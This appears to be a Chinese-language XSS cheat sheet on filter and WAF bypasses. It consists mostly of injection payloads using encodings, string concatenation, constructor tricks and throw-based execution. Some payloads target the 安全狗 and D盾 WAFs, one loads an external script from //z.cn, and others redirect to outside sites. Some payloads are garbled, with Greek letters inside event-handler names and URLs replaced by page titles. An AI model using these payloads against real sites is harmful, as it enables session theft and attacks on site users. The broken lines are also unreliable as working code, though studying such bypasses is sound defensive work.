htmlspecialchars():将预定义字符转为实体编码
- " < > & ' 等字符转为文本型实体编码
常用的xss注入方法
- <img>标签
- <a>标签
- <input>标签
-
事件触发
- onmouseover
- onclick
- onfocus等
XSS寻找和绕过
- 找信息交互处;输入信息看回显和页面源码;找输入信息是否存在(判断xss是否存在)
- 搜索框;留言板等
-
根据源码分析xss绕过方法
- 引号闭合
- 标签闭合
- 大小写绕过
- 双写绕过
- &截断 /#截断
- %09 %0a %0d / 绕过(针对关键字/空格过滤)
- ng-include外包文件绕过(DOM中)
- 引入文件作为当前节点的子节点
- bp抓包绕过(针对前端限制或隐藏标签)
-
编码绕过
-
url编码
- 可以二次url编码;针对%可以一直编码为%25,不断叠加
- 如w编码是%77;二次编码就是%2577
-
html实体编码
- 文本型
- 十进制
- 十六进制
- js编码(unicode编码)
-
- 注释符绕过
-
html注释有两种
- <!-- -->
- <!-- --!>
- -->可以表示单行注释
-
- 古英文符号绕过
- ſ :表示s的另一种写法;转为大写是S
- 不完整标签绕过
- <img src οnerrοr="alert(1)"
- </style > :中间加空格不影响标签效果
-
针对url过滤时
- url编码
-
使用ip绕过
- ip十进制
- ip八进制
- ip十六进制
- 使用//代替http://(也可以使用\代替)
- <img src="x" οnerrοr=document.location=``//www.baidu.com``>
- 使用中文的标点符号代替英文符号进行绕过
- <img src="x" οnerrοr="document.location=``http://www。baidu。com``">
-
括号过滤()
- throw绕过
- <svg/οnlοad="window.οnerrοr=eval;throw'=alert\x281\x29';">
- 反引号代替`(esc下面的键)
- 编码绕过
- throw绕过
-
函数(重点)
-
字符串拼接函数(用法都一样)
- eval
- <img src="x" οnerrοr="eval('al'+'ert(1)')">
- top
- <img src="x" οnerrοr="top['al'+'ert'](1)">
- window
- self
- parent
- frames
- eval
-
常用函数
- <img src="x" οnerrοr="eval(alert(1))">
- <img src="x" οnerrοr="open(alert(1))">
- <img src="x" οnerrοr="document.write(alert(1))">
- <img src="x" οnerrοr="setTimeout(alert(1))">
- <img src="x" οnerrοr="setInterval(alert(1))">
- <img src="x" οnerrοr="Set.constructor(alert(1))">
- <img src="x" οnerrοr="Map.constructor(alert(1))">
- <img src="x" οnerrοr="Array.constructor(alert(1))">
- <img src="x" οnerrοr="WeakSet.constructor(alert(1))">
- <img src="x" οnerrοr="constructor.constructor(alert(1))">
- <img src="x" οnerrοr="[1].map(alert(1))">
- <img src="x" οnerrοr="[1].find(alert(1))">
- <img src="x" οnerrοr="[1].every(alert(1))">
- <img src="x" οnerrοr="[1].filter(alert(1))">
- <img src="x" οnerrοr="[1].forEach(alert(1))">
- <img src="x" οnerrοr="[1].findIndex(alert(1))">
-
赋值拼接
- <img src οnerrοr==alert,(1)>
- <img src x=al y=ert οnerrοr=top[x+y](1)>
- <img src οnerrοr=top[a='al',b='ev',b+a]('alert(1)')>
- <img src οnerrοr=['ale'+'rt'].map(top['ev'+'al'])[0]['valu'+'eOf']()(1)>
-
-
绕过waf拦截的示例(学payload的思路就可以了)
-
安全狗
- 私有云安全防护功能平台_私有云安全解决方案-安全狗 tab=2<video/src/οnerrοr=top[`al`%2B`ert`](1);>
- 私有云安全防护功能平台_私有云安全解决方案-安全狗 tab=2<video/src/οnerrοr=appendChild(createElement("script")).src="//z.cn">
-
D盾
- 开发查杀挂页功能,需样本<video/src/οnlοadstart=top[`al`%2B`ert`](1);>
-